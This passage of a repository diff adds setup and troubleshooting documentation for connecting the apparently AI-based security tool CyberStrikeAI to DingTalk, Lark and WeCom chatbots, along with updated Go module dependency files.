+   - **Critical**: set message reception to **“Stream mode”** (流式接入). If you only enable “HTTP callback” or do not select Stream, CyberStrikeAI will not receive messages.  
+   - Save.
+
+5. **Permissions and release**  
+   - Left menu: **Permission management** — search for “robot”, “message”, etc., and enable **receive message**, **send message**, and other bot-related permissions; confirm.  
+   - Left menu: **Version management and release** — if there are unpublished changes, click **Release new version** / **Publish**; otherwise changes do not take effect.
+
+6. **Fill in CyberStrikeAI**  
+   - In CyberStrikeAI: System settings → Robot settings → DingTalk.  
+   - Enable “Enable DingTalk robot”.  
+   - Paste the Client ID and Client Secret from step 3.  
+   - Click **Apply configuration**, then **restart CyberStrikeAI**.
+
+---
+
+**Field mapping (DingTalk)**
+
+| Field in CyberStrikeAI | Source in DingTalk Open Platform |
+|------------------------|----------------------------------|
+| Enable DingTalk robot | Check to enable |
+| Client ID (AppKey) | Credentials and basic info → **Client ID (formerly AppKey)** |
+| Client Secret | Credentials and basic info → **Client Secret (formerly AppSecret)** |
+
+---
+
+### 3.2 Lark (Feishu)
+
+| Field | Description |
+|-------|-------------|
+| Enable Lark robot | Check to start the Lark long-lived connection |
+| App ID | From Lark open platform app credentials |
+| App Secret | From Lark open platform app credentials |
+| Verify Token | Optional; for event subscription |
+
+**Lark setup in short**: Log in to [Lark Open Platform](https://open.feishu.cn) → Create an enterprise app → In “Credentials and basic info” get **App ID** and **App Secret** → In “Application capabilities” enable **Robot** and the right permissions → Add **event subscription** and **permissions** below → Publish the app → Enter App ID and App Secret in CyberStrikeAI robot settings → Save and **restart** the app.
+
+**Event subscription**  
+The long-lived connection only receives message events if you subscribe to them. In the app’s **Events and callbacks** (事件与回调) → **Event subscription** (事件订阅), add the event **Receive message** (**im.message.receive_v1**). Without it, the connection succeeds but no message events are delivered (no logs when users send messages).
+
+**Lark permissions (required)**  
+In **Permission management** (权限管理), enable the following (names and identifiers match the Lark console). After changes, **publish a new version** in Version management and release so they take effect.
+
+| Permission name (as shown in console) | Identifier | Notes |
+|--------------------------------------|------------|-------|
+| 获取与发送单聊、群组消息 (Get and send direct & group messages) | `im:message` | Base permission for sending and receiving; **required**. |
+| 接收群聊中@机器人消息事件 (Receive @bot messages in group chat) | `im:message.group_at_msg:readonly` | Required for group chat when users @ the bot. |
+| 读取用户发给机器人的单聊消息 (Read direct messages from users to bot) | `im:message.p2p_msg:readonly` | **Required** for 1:1 chat; otherwise no response in private chat. |
+| 获取单聊、群组消息 (Get direct & group messages) | `im:message:readonly` | **Required** to read message content. |
+
+**Event subscription** (configured separately): In **Event subscription** (事件订阅), add **Receive message** (**im.message.receive_v1**). Without it, the long-lived connection will not receive message events.
+
+- **1:1 chat**: Open the bot’s private chat in Lark and send e.g. “帮助” or “help”; no @ needed.  
+- **Group chat**: Only messages that **@ the bot** are received and replied to.
+
+---
+
+### 3.3 WeCom (Enterprise WeChat)
+
+> WeCom uses a **“HTTP callback + active message send API”** model:  
+> - User sends a message → WeCom sends an **encrypted XML callback** to your server (CyberStrikeAI’s `/api/robot/wecom`).  
+> - CyberStrikeAI decrypts it, calls the AI, then uses WeCom’s `message/send` API to **actively push the reply** to the user.
+
+**Configuration overview:**
+
+- In the WeCom admin console, create or select a **custom app** (自建应用).
+- In that app’s settings, configure the message **callback URL**, **Token**, and **EncodingAESKey**.
+- In CyberStrikeAI’s `config.yaml`, fill in:
+  - `robots.wecom.corp_id`: your CorpID (企业 ID)
+  - `robots.wecom.agent_id`: the app’s AgentId
+  - `robots.wecom.token`: the Token used for message callbacks
+  - `robots.wecom.encoding_aes_key`: the EncodingAESKey used for callbacks
+  - `robots.wecom.secret`: the app’s Secret (used when calling WeCom APIs to send messages)
+
+> **Important: IP allowlist (errcode 60020)**  
+> CyberStrikeAI calls `https://qyapi.weixin.qq.com/cgi-bin/message/send` to actively send AI replies.  
+> If logs show `errcode 60020 not allow to access from your ip`:
+>
+> - Your server’s outbound IP is **not in WeCom’s IP allowlist**.  
+> - In the WeCom admin console, open the custom app’s **Security / IP allowlist** settings (name may vary slightly), and add the public IP of the machine running CyberStrikeAI (e.g. `110.xxx.xxx.xxx`).  
+> - Save and wait for it to take effect, then test again.
+>
+> If the IP is not whitelisted, WeCom will reject active message sending. You will see that `/api/robot/wecom` receives and processes callbacks, but users **never see AI replies**, and logs contain `not allow to access from your ip`.
+
+---
+
+## 4. Bot commands
+
+Send these **text commands** to the bot in DingTalk or Lark (text only):
+
+| Command | Description |
+|---------|-------------|
+| **帮助** (help) | Show command help |
+| **列表** or **对话列表** (list) | List all conversation titles and IDs |
+| **切换 \<conversationID\>** or **继续 \<conversationID\>** | Continue in the given conversation |
+| **新对话** (new) | Start a new conversation |
+| **清空** (clear) | Clear current context (same effect as new conversation) |
+| **当前** (current) | Show current conversation ID and title |
+| **停止** (stop) | Abort the currently running task |
+| **角色** or **角色列表** (roles) | List all available roles (penetration testing, CTF, Web scan, etc.) |
+| **角色 \<roleName\>** or **切换角色 \<roleName\>** | Switch to the specified role |
+| **删除 \<conversationID\>** | Delete the specified conversation |
+| **版本** (version) | Show current CyberStrikeAI version |
+
+Any other text is sent to the AI as a user message, same as in the web UI (e.g. penetration testing, security analysis).
+
+---
+
+## 5. How to use (do I need to @ the bot?)
+
+- **Direct chat (recommended)**: In DingTalk or Lark, **search for the bot and open a direct chat**. Type “帮助” or any message; **no @ needed**.  
+- **Group chat**: If the bot is in a group, only messages that **@ the bot** are received and answered; other group messages are ignored.
+
+Summary: **Direct chat** — just send; **in a group** — @ the bot first, then send.
+
+---
+
+## 6. Recommended flow (so you don’t skip steps)
+
+1. **In the open platform**: Complete app creation, copy credentials, enable the bot (DingTalk: **Stream mode**), set permissions, and publish (Section 3).  
+2. **In CyberStrikeAI**: System settings → Robot settings → Enable the platform, paste Client ID/App ID and Client Secret/App Secret → **Apply configuration**.  
+3. **Restart the CyberStrikeAI process** (otherwise the long-lived connection is not established).  
+4. **On your phone**: Open DingTalk or Lark, find the bot (direct chat or @ in a group), send “帮助” or any message to test.
+
+If the bot does not respond, see **Section 9 (troubleshooting)** and **Section 10 (common pitfalls)**.
+
+---
+
+## 7. Config file example
+
+Example `robots` section in `config.yaml`:
+
+```yaml
+robots:
+  dingtalk:
+    enabled: true
+    client_id: "your_dingtalk_app_key"
+    client_secret: "your_dingtalk_app_secret"
+  lark:
+    enabled: true
+    app_id: "your_lark_app_id"
+    app_secret: "your_lark_app_secret"
+    verify_token: ""
+```
+
+**Restart the app** after changes; the long-lived connection is created at startup.
+
+---
+
+## 8. Testing without DingTalk/Lark installed
+
+You can verify bot logic with the **test API** (no DingTalk/Lark client needed):
+
+1. Log in to the CyberStrikeAI web UI (so you have a session).
+2. Call the test endpoint with curl (include your session Cookie):
+
+```bash
+# Replace YOUR_COOKIE with the Cookie from your browser (F12 → Network → any request → Request headers → Cookie)
+curl -X POST "http://localhost:8080/api/robot/test" \
+  -H "Content-Type: application/json" \
+  -H "Cookie: YOUR_COOKIE" \
+  -d '{"platform":"dingtalk","user_id":"test_user","text":"帮助"}'
+```
+
+If the JSON response contains `"reply":"【CyberStrikeAI 机器人命令】..."`, command handling works. You can also try `"text":"列表"` or `"text":"当前"`.
+
+API: `POST /api/robot/test` (requires login). Body: `{"platform":"optional","user_id":"optional","text":"required"}`. Response: `{"reply":"..."}`.
+
+---
+
+## 9. DingTalk: no response when sending messages
+
+Check in this order:
+
+0. **After laptop sleep or network drop**  
+   DingTalk and Lark both use long-lived connections; they break when the machine sleeps or the network drops. The app **auto-reconnects** (retries within about 5–60 seconds). After wake or network recovery, wait a moment before sending; if there is still no response, restart the CyberStrikeAI process.
+
+1. **Client ID / Client Secret match the open platform exactly**  
+   Copy from “Credentials and basic info”; avoid typing. Watch **0** vs **o** and **1** vs **l** (e.g. `ding9gf9tiozuc504aer` has **504**, not 5o4).
+
+2. **Did you restart after saving?**  
+   The long-lived connection is created at **startup**. “Apply configuration” only updates the config file; you **must restart the CyberStrikeAI process** for the DingTalk connection to start.
+
+3. **Application logs**  
+   - On startup you should see: `钉钉 Stream 正在连接…`, `钉钉 Stream 已启动（无需公网），等待收消息`.  
+   - If you see `钉钉 Stream 长连接退出` with an error, it’s usually wrong **Client ID / Client Secret** or **Stream not enabled** in the open platform.  
+   - After sending a message in DingTalk, you should see `钉钉收到消息` in the logs; if not, the platform is not pushing to this app (check that the bot is enabled and **Stream mode** is selected).
+
+4. **Open platform**  
+   The app must be **published**. Under “Robot” you must enable **Stream** for receiving messages (HTTP callback only is not enough). Permission management must include robot receive/send message permissions.
+
+---
+
+## 10. Common pitfalls
+
+- **Wrong bot type**: The “Custom” bot added in a DingTalk **group** (Webhook + sign secret) **cannot** be used for two-way chat. Only the **enterprise internal app** bot from the open platform is supported.  
+- **Saved but not restarted**: After changing robot settings in CyberStrikeAI you **must restart** the app, or the long-lived connection will not be established.  
+- **Client ID typo**: If the platform shows `504`, use `504` (not `5o4`); prefer copy/paste.  
+- **DingTalk: only HTTP callback, no Stream**: This app receives messages via **Stream**. In the open platform, message reception must be **Stream mode**.  
+- **App not published**: After changing the bot or permissions in the open platform, **publish a new version** under “Version management and release”, or changes won’t apply.
+
+---
+
+## 11. Notes
+
+- DingTalk and Lark: **text messages only**; other types (e.g. image, voice) are not supported and may be ignored.  
+- Conversations are shared with the web UI: conversations created from the bot appear in the web “Conversations” list and vice versa.  
+- Bot execution uses the same logic as **`/api/agent-loop/stream`** (progress callbacks, process details stored in the DB); only the final reply is sent back to DingTalk/Lark in one message (no SSE to the client).

go.mod

@@ -1,40 +1,80 @@
 module cyberstrike-ai
 
-go 1.21
+// 若 go mod download 超时，可执行: go env -w GOPROXY=https://goproxy.cn,direct
+// 或使用 scripts/bootstrap-go.sh
+
+go 1.24.0
+
+toolchain go1.24.4
 
 require (
+	github.com/cloudwego/eino v0.8.4
+	github.com/cloudwego/eino-ext/components/model/openai v0.1.10
+	github.com/creack/pty v1.1.24
+	github.com/eino-contrib/jsonschema v1.0.3
 	github.com/gin-gonic/gin v1.9.1
-	github.com/google/uuid v1.5.0
+	github.com/google/uuid v1.6.0
+	github.com/gorilla/websocket v1.5.0
+	github.com/larksuite/oapi-sdk-go/v3 v3.4.22
 	github.com/mattn/go-sqlite3 v1.14.18
+	github.com/modelcontextprotocol/go-sdk v1.2.0
+	github.com/open-dingtalk/dingtalk-stream-sdk-go v0.9.1
 	github.com/pkoukk/tiktoken-go v0.1.8
 	go.uber.org/zap v1.26.0
+	golang.org/x/time v0.14.0
 	gopkg.in/yaml.v3 v3.0.1
 )
 
 require (
-	github.com/bytedance/sonic v1.9.1 // indirect
-	github.com/chenzhuoyu/base64x v0.0.0-20221115062448-fe3a3abad311 // indirect
+	github.com/bahlo/generic-list-go v0.2.0 // indirect
+	github.com/bmatcuk/doublestar/v4 v4.10.0 // indirect
+	github.com/buger/jsonparser v1.1.1 // indirect
+	github.com/bytedance/gopkg v0.1.3 // indirect
+	github.com/bytedance/sonic v1.15.0 // indirect
+	github.com/bytedance/sonic/loader v0.5.0 // indirect
+	github.com/cloudwego/base64x v0.1.6 // indirect
+	github.com/cloudwego/eino-ext/libs/acl/openai v0.1.14 // indirect
 	github.com/dlclark/regexp2 v1.10.0 // indirect
+	github.com/dustin/go-humanize v1.0.1 // indirect
+	github.com/evanphx/json-patch v0.5.2 // indirect
 	github.com/gabriel-vasile/mimetype v1.4.2 // indirect
 	github.com/gin-contrib/sse v0.1.0 // indirect
 	github.com/go-playground/locales v0.14.1 // indirect
 	github.com/go-playground/universal-translator v0.18.1 // indirect
 	github.com/go-playground/validator/v10 v10.14.0 // indirect
 	github.com/goccy/go-json v0.10.2 // indirect
+	github.com/gogo/protobuf v1.3.2 // indirect
+	github.com/google/jsonschema-go v0.3.0 // indirect
+	github.com/goph/emperror v0.17.2 // indirect
 	github.com/json-iterator/go v1.1.12 // indirect
-	github.com/klauspost/cpuid/v2 v2.2.4 // indirect
+	github.com/klauspost/cpuid/v2 v2.2.9 // indirect
 	github.com/leodido/go-urn v1.2.4 // indirect
+	github.com/mailru/easyjson v0.7.7 // indirect
 	github.com/mattn/go-isatty v0.0.19 // indirect
+	github.com/meguminnnnnnnnn/go-openai v0.1.1 // indirect
 	github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd // indirect
 	github.com/modern-go/reflect2 v1.0.2 // indirect
-	github.com/pelletier/go-toml/v2 v2.0.8 // indirect
+	github.com/nikolalohinski/gonja v1.5.3 // indirect
+	github.com/pelletier/go-toml/v2 v2.0.9 // indirect
+	github.com/pkg/errors v0.9.1 // indirect
+	github.com/sirupsen/logrus v1.9.3 // indirect
+	github.com/slongfield/pyfmt v0.0.0-20220222012616-ea85ff4c361f // indirect
 	github.com/twitchyliquid64/golang-asm v0.15.1 // indirect
 	github.com/ugorji/go/codec v1.2.11 // indirect
+	github.com/wk8/go-ordered-map/v2 v2.1.8 // indirect
+	github.com/yargevad/filepathx v1.0.0 // indirect
+	github.com/yosida95/uritemplate/v3 v3.0.2 // indirect
 	go.uber.org/multierr v1.11.0 // indirect
-	golang.org/x/arch v0.3.0 // indirect
-	golang.org/x/crypto v0.14.0 // indirect
-	golang.org/x/net v0.17.0 // indirect
-	golang.org/x/sys v0.13.0 // indirect
-	golang.org/x/text v0.13.0 // indirect
+	golang.org/x/arch v0.11.0 // indirect
+	golang.org/x/crypto v0.31.0 // indirect
+	golang.org/x/exp v0.0.0-20230713183714-613f0c0eb8a1 // indirect
+	golang.org/x/net v0.24.0 // indirect
+	golang.org/x/oauth2 v0.30.0 // indirect
+	golang.org/x/sys v0.28.0 // indirect
+	golang.org/x/text v0.21.0 // indirect
 	google.golang.org/protobuf v1.30.0 // indirect
 )
+
+// 修复钉钉 Stream SDK 在长连接断开（熄屏/网络中断）后 "panic: send on closed channel" 问题
+// 详见: https://github.com/open-dingtalk/dingtalk-stream-sdk-go/issues/28
+replace github.com/open-dingtalk/dingtalk-stream-sdk-go => github.com/uouuou/dingtalk-stream-sdk-go v0.0.0-20250626025113-079132acc406

go.sum

@@ -1,20 +1,54 @@
-github.com/bytedance/sonic v1.5.0/go.mod h1:ED5hyg4y6t3/9Ku1R6dU/4KyJ48DZ4jPhfY1O2AihPM=
-github.com/bytedance/sonic v1.9.1 h1:6iJ6NqdoxCDr6mbY8h18oSO+cShGSMRGCEo7F2h0x8s=
-github.com/bytedance/sonic v1.9.1/go.mod h1:i736AoUSYt75HyZLoJW9ERYxcy6eaN6h4BZXU064P/U=
-github.com/chenzhuoyu/base64x v0.0.0-20211019084208-fb5309c8db06/go.mod h1:DH46F32mSOjUmXrMHnKwZdA8wcEefY7UVqBKYGjpdQY=
-github.com/chenzhuoyu/base64x v0.0.0-20221115062448-fe3a3abad311 h1:qSGYFH7+jGhDF8vLC+iwCD4WpbV1EBDSzWkJODFLams=
-github.com/chenzhuoyu/base64x v0.0.0-20221115062448-fe3a3abad311/go.mod h1:b583jCggY9gE99b6G5LEC39OIiVsWj+R97kbl5odCEk=
+github.com/airbrake/gobrake v3.6.1+incompatible/go.mod h1:wM4gu3Cn0W0K7GUuVWnlXZU11AGBXMILnrdOU8Kn00o=
+github.com/bahlo/generic-list-go v0.2.0 h1:5sz/EEAK+ls5wF+NeqDpk5+iNdMDXrh3z3nPnH1Wvgk=
+github.com/bahlo/generic-list-go v0.2.0/go.mod h1:2KvAjgMlE5NNynlg/5iLrrCCZ2+5xWbdbCW3pNTGyYg=
+github.com/bitly/go-simplejson v0.5.0/go.mod h1:cXHtHw4XUPsvGaxgjIAn8PhEWG9NfngEKAMDJEczWVA=
+github.com/bmatcuk/doublestar/v4 v4.10.0 h1:zU9WiOla1YA122oLM6i4EXvGW62DvKZVxIe6TYWexEs=
+github.com/bmatcuk/doublestar/v4 v4.10.0/go.mod h1:xBQ8jztBU6kakFMg+8WGxn0c6z1fTSPVIjEY1Wr7jzc=
+github.com/bmizerany/assert v0.0.0-20160611221934-b7ed37b82869/go.mod h1:Ekp36dRnpXw/yCqJaO+ZrUyxD+3VXMFFr56k5XYrpB4=
+github.com/buger/jsonparser v1.1.1 h1:2PnMjfWD7wBILjqQbt530v576A/cAbQvEW9gGIpYMUs=
+github.com/buger/jsonparser v1.1.1/go.mod h1:6RYKKt7H4d4+iWqouImQ9R2FZql3VbhNgx27UK13J/0=
+github.com/bugsnag/bugsnag-go v1.4.0/go.mod h1:2oa8nejYd4cQ/b0hMIopN0lCRxU0bueqREvZLWFrtK8=
+github.com/bugsnag/panicwrap v1.2.0/go.mod h1:D/8v3kj0zr8ZAKg1AQ6crr+5VwKN5eIywRkfhyM/+dE=
+github.com/bytedance/gopkg v0.1.3 h1:TPBSwH8RsouGCBcMBktLt1AymVo2TVsBVCY4b6TnZ/M=
+github.com/bytedance/gopkg v0.1.3/go.mod h1:576VvJ+eJgyCzdjS+c4+77QF3p7ubbtiKARP3TxducM=
+github.com/bytedance/mockey v1.3.0 h1:ONLRdvhqmCfr9rTasUB8ZKCfvbdD2tohOg4u+4Q/ed0=
+github.com/bytedance/mockey v1.3.0/go.mod h1:1BPHF9sol5R1ud/+0VEHGQq/+i2lN+GTsr3O2Q9IENY=
+github.com/bytedance/sonic v1.15.0 h1:/PXeWFaR5ElNcVE84U0dOHjiMHQOwNIx3K4ymzh/uSE=
+github.com/bytedance/sonic v1.15.0/go.mod h1:tFkWrPz0/CUCLEF4ri4UkHekCIcdnkqXw9VduqpJh0k=
+github.com/bytedance/sonic/loader v0.5.0 h1:gXH3KVnatgY7loH5/TkeVyXPfESoqSBSBEiDd5VjlgE=
+github.com/bytedance/sonic/loader v0.5.0/go.mod h1:AR4NYCk5DdzZizZ5djGqQ92eEhCCcdf5x77udYiSJRo=
+github.com/certifi/gocertifi v0.0.0-20190105021004-abcd57078448/go.mod h1:GJKEexRPVJrBSOjoqN5VNOIKJ5Q3RViH6eu3puDRwx4=
+github.com/cloudwego/base64x v0.1.6 h1:t11wG9AECkCDk5fMSoxmufanudBtJ+/HemLstXDLI2M=
+github.com/cloudwego/base64x v0.1.6/go.mod h1:OFcloc187FXDaYHvrNIjxSe8ncn0OOM8gEHfghB2IPU=
+github.com/cloudwego/eino v0.8.4 h1:aFKJK82MmPR6dm5y5J7IXivYSvh4HkcXwf18j6vyhmk=
+github.com/cloudwego/eino v0.8.4/go.mod h1:+2N4nsMPxA6kGBHpH+75JuTfEcGprAMTdsZESrShKpU=
+github.com/cloudwego/eino-ext/components/model/openai v0.1.10 h1:zVkU4rZUUUUAPEXOGs98n8nsT/NZvQ9zWY0B9h2US7k=
+github.com/cloudwego/eino-ext/components/model/openai v0.1.10/go.mod h1:smEeTKXe8uz+HDUBQn0yZhpx7mmOUKFQyguLfjAQ57I=
+github.com/cloudwego/eino-ext/libs/acl/openai v0.1.14 h1:yOZII6VYaL00CVZYba+HUixFygsW0Xz/1QjQ5htj1Ls=
+github.com/cloudwego/eino-ext/libs/acl/openai v0.1.14/go.mod h1:1xMQZ8eE11pkEoTAEy8UlaAY817qGVMvjpDPGSIO3Ns=
+github.com/creack/pty v1.1.24 h1:bJrF4RRfyJnbTJqzRLHzcGaZK1NeM5kTC9jGgovnR1s=
+github.com/creack/pty v1.1.24/go.mod h1:08sCNb52WyoAwi2QDyzUCTgcvVFhUzewun7wtTfvcwE=
 github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
 github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
 github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
 github.com/dlclark/regexp2 v1.10.0 h1:+/GIL799phkJqYW+3YbOd8LCcbHzT0Pbo8zl70MHsq0=
 github.com/dlclark/regexp2 v1.10.0/go.mod h1:DHkYz0B9wPfa6wondMfaivmHpzrQ3v9q8cnmRbL6yW8=
+github.com/dustin/go-humanize v1.0.1 h1:GzkhY7T5VNhEkwH0PVJgjz+fX1rhBrR7pRT3mDkpeCY=
+github.com/dustin/go-humanize v1.0.1/go.mod h1:Mu1zIs6XwVuF/gI1OepvI0qD18qycQx+mFykh5fBlto=
+github.com/eino-contrib/jsonschema v1.0.3 h1:2Kfsm1xlMV0ssY2nuxshS4AwbLFuqmPmzIjLVJ1Fsp0=
+github.com/eino-contrib/jsonschema v1.0.3/go.mod h1:cpnX4SyKjWjGC7iN2EbhxaTdLqGjCi0e9DxpLYxddD4=
+github.com/evanphx/json-patch v0.5.2 h1:xVCHIVMUu1wtM/VkR9jVZ45N3FhZfYMMYGorLCR8P3k=
+github.com/evanphx/json-patch v0.5.2/go.mod h1:ZWS5hhDbVDyob71nXKNL0+PWn6ToqBHMikGIFbs31qQ=
+github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo=
 github.com/gabriel-vasile/mimetype v1.4.2 h1:w5qFW6JKBz9Y393Y4q372O9A7cUSequkh1Q7OhCmWKU=
 github.com/gabriel-vasile/mimetype v1.4.2/go.mod h1:zApsH/mKG4w07erKIaJPFiX0Tsq9BFQgN3qGY5GnNgA=
+github.com/getsentry/raven-go v0.2.0/go.mod h1:KungGk8q33+aIAZUIVWZDr2OfAEBsO49PX4NzFV5kcQ=
 github.com/gin-contrib/sse v0.1.0 h1:Y/yl/+YNO8GZSjAhjMsSuLt29uWRFHdHYUb5lYOV9qE=
 github.com/gin-contrib/sse v0.1.0/go.mod h1:RHrZQHXnP2xjPF+u1gW/2HnVO7nvIa9PG3Gm+fLHvGI=
 github.com/gin-gonic/gin v1.9.1 h1:4idEAncQnU5cB7BeOkPtxjfCSye0AAm1R0RVIqJ+Jmg=
 github.com/gin-gonic/gin v1.9.1/go.mod h1:hPrL7YrpYKXt5YId3A/Tnip5kqbEAP+KLuI3SUcPTeU=
+github.com/go-check/check v0.0.0-20180628173108-788fd7840127 h1:0gkP6mzaMqkmpcJYCFOLkIBwI7xFExG03bbkOkCvUPI=
+github.com/go-check/check v0.0.0-20180628173108-788fd7840127/go.mod h1:9ES+weclKsC9YodN5RgxqK/VD9HM9JsCSh7rNhMZE98=
 github.com/go-playground/assert/v2 v2.2.0 h1:JvknZsQTYeFEAhQwI4qEt9cyV5ONwRHC+lYKSsYSR8s=
 github.com/go-playground/assert/v2 v2.2.0/go.mod h1:VDjEfimB/XKnb+ZQfWdccd7VUvScMdVu0Titje2rxJ4=
 github.com/go-playground/locales v0.14.1 h1:EWaQ/wswjilfKLTECiXz7Rh+3BjFhfDFKv/oXslEjJA=
@@ -25,76 +59,193 @@ github.com/go-playground/validator/v10 v10.14.0 h1:vgvQWe3XCz3gIeFDm/HnTIbj6UGmg
 github.com/go-playground/validator/v10 v10.14.0/go.mod h1:9iXMNT7sEkjXb0I+enO7QXmzG6QCsPWY4zveKFVRSyU=
 github.com/goccy/go-json v0.10.2 h1:CrxCmQqYDkv1z7lO7Wbh2HN93uovUHgrECaO5ZrCXAU=
 github.com/goccy/go-json v0.10.2/go.mod h1:6MelG93GURQebXPDq3khkgXZkazVtN9CRI+MGFi0w8I=
+github.com/gofrs/uuid v3.2.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM=
+github.com/gogo/protobuf v1.3.2 h1:Ov1cvc58UF3b5XjBnZv7+opcTcQFZebYjWzi34vdm4Q=
+github.com/gogo/protobuf v1.3.2/go.mod h1:P1XiOD3dCwIKUDQYPy72D8LYyHL2YPYrpS2s69NZV8Q=
+github.com/golang-jwt/jwt/v5 v5.2.2 h1:Rl4B7itRWVtYIHFrSNd7vhTiz9UpLdi6gZhZ3wEeDy8=
+github.com/golang-jwt/jwt/v5 v5.2.2/go.mod h1:pqrtFR0X4osieyHYxtmOUWsAWrfe1Q5UVIyoH402zdk=
+github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
 github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk=
-github.com/google/go-cmp v0.5.5 h1:Khx7svrCpmxxtHBq5j2mp/xVjsi8hQMfNLvJFAlrGgU=
 github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
+github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8=
+github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU=
 github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg=
-github.com/google/uuid v1.5.0 h1:1p67kYwdtXjb0gL0BPiP1Av9wiZPo5A8z2cWkTZ+eyU=
-github.com/google/uuid v1.5.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
+github.com/google/jsonschema-go v0.3.0 h1:6AH2TxVNtk3IlvkkhjrtbUc4S8AvO0Xii0DxIygDg+Q=
+github.com/google/jsonschema-go v0.3.0/go.mod h1:r5quNTdLOYEz95Ru18zA0ydNbBuYoo9tgaYcxEYhJVE=
+github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0=
+github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
+github.com/goph/emperror v0.17.2 h1:yLapQcmEsO0ipe9p5TaN22djm3OFV/TfM/fcYP0/J18=
+github.com/goph/emperror v0.17.2/go.mod h1:+ZbQ+fUNO/6FNiUo0ujtMjhgad9Xa6fQL9KhH4LNHic=
+github.com/gopherjs/gopherjs v1.17.2 h1:fQnZVsXk8uxXIStYb0N4bGk7jeyTalG/wsZjQ25dO0g=
+github.com/gopherjs/gopherjs v1.17.2/go.mod h1:pRRIvn/QzFLrKfvEz3qUuEhtE/zLCWfreZ6J5gM2i+k=
+github.com/gorilla/websocket v1.5.0 h1:PPwGk2jz7EePpoHN/+ClbZu8SPxiqlu12wZP/3sWmnc=
+github.com/gorilla/websocket v1.5.0/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=
+github.com/hpcloud/tail v1.0.0/go.mod h1:ab1qPbhIpdTxEkNHXyeSf5vhxWSCs/tWer42PpOxQnU=
+github.com/jessevdk/go-flags v1.4.0/go.mod h1:4FA24M0QyGHXBuZZK/XkWh8h0e1EYbRYJSGM75WSRxI=
+github.com/josharian/intern v1.0.0/go.mod h1:5DoeVV0s6jJacbCEi61lwdGj/aVlrQvzHFFd8Hwg//Y=
 github.com/json-iterator/go v1.1.12 h1:PV8peI4a0ysnczrg+LtxykD8LfKY9ML6u2jnxaEnrnM=
 github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo=
-github.com/klauspost/cpuid/v2 v2.0.9/go.mod h1:FInQzS24/EEf25PyTYn52gqo7WaD8xa0213Md/qVLRg=
-github.com/klauspost/cpuid/v2 v2.2.4 h1:acbojRNwl3o09bUq+yDCtZFc1aiwaAAxtcn8YkZXnvk=
-github.com/klauspost/cpuid/v2 v2.2.4/go.mod h1:RVVoqg1df56z8g3pUjL/3lE5UfnlrJX8tyFgg4nqhuY=
+github.com/jtolds/gls v4.20.0+incompatible h1:xdiiI2gbIgH/gLH7ADydsJ1uDOEzR8yvV7C0MuV77Wo=
+github.com/jtolds/gls v4.20.0+incompatible/go.mod h1:QJZ7F/aHp+rZTRtaJ1ow/lLfFfVYBRgL+9YlvaHOwJU=
+github.com/kardianos/osext v0.0.0-20190222173326-2bc1f35cddc0/go.mod h1:1NbS8ALrpOvjt0rHPNLyCIeMtbizbir8U//inJ+zuB8=
+github.com/kisielk/errcheck v1.5.0/go.mod h1:pFxgyoBC7bSaBwPgfKdkLd5X25qrDl4LWUI2bnpBCr8=
+github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck=
+github.com/klauspost/cpuid/v2 v2.2.9 h1:66ze0taIn2H33fBvCkXuv9BmCwDfafmiIVpKV9kKGuY=
+github.com/klauspost/cpuid/v2 v2.2.9/go.mod h1:rqkxqrZ1EhYM9G+hXH7YdowN5R5RGN6NK4QwQ3WMXF8=
+github.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ=
+github.com/kr/pretty v0.1.0 h1:L/CwN0zerZDmRFUapSPitk6f+Q3+0za1rQkzVuMiMFI=
+github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo=
+github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
+github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI=
+github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY=
+github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE=
+github.com/larksuite/oapi-sdk-go/v3 v3.4.22 h1:57daKuslQPX9X3hC2idc5bu8bl2krfsBGWGJ6b5FlD8=
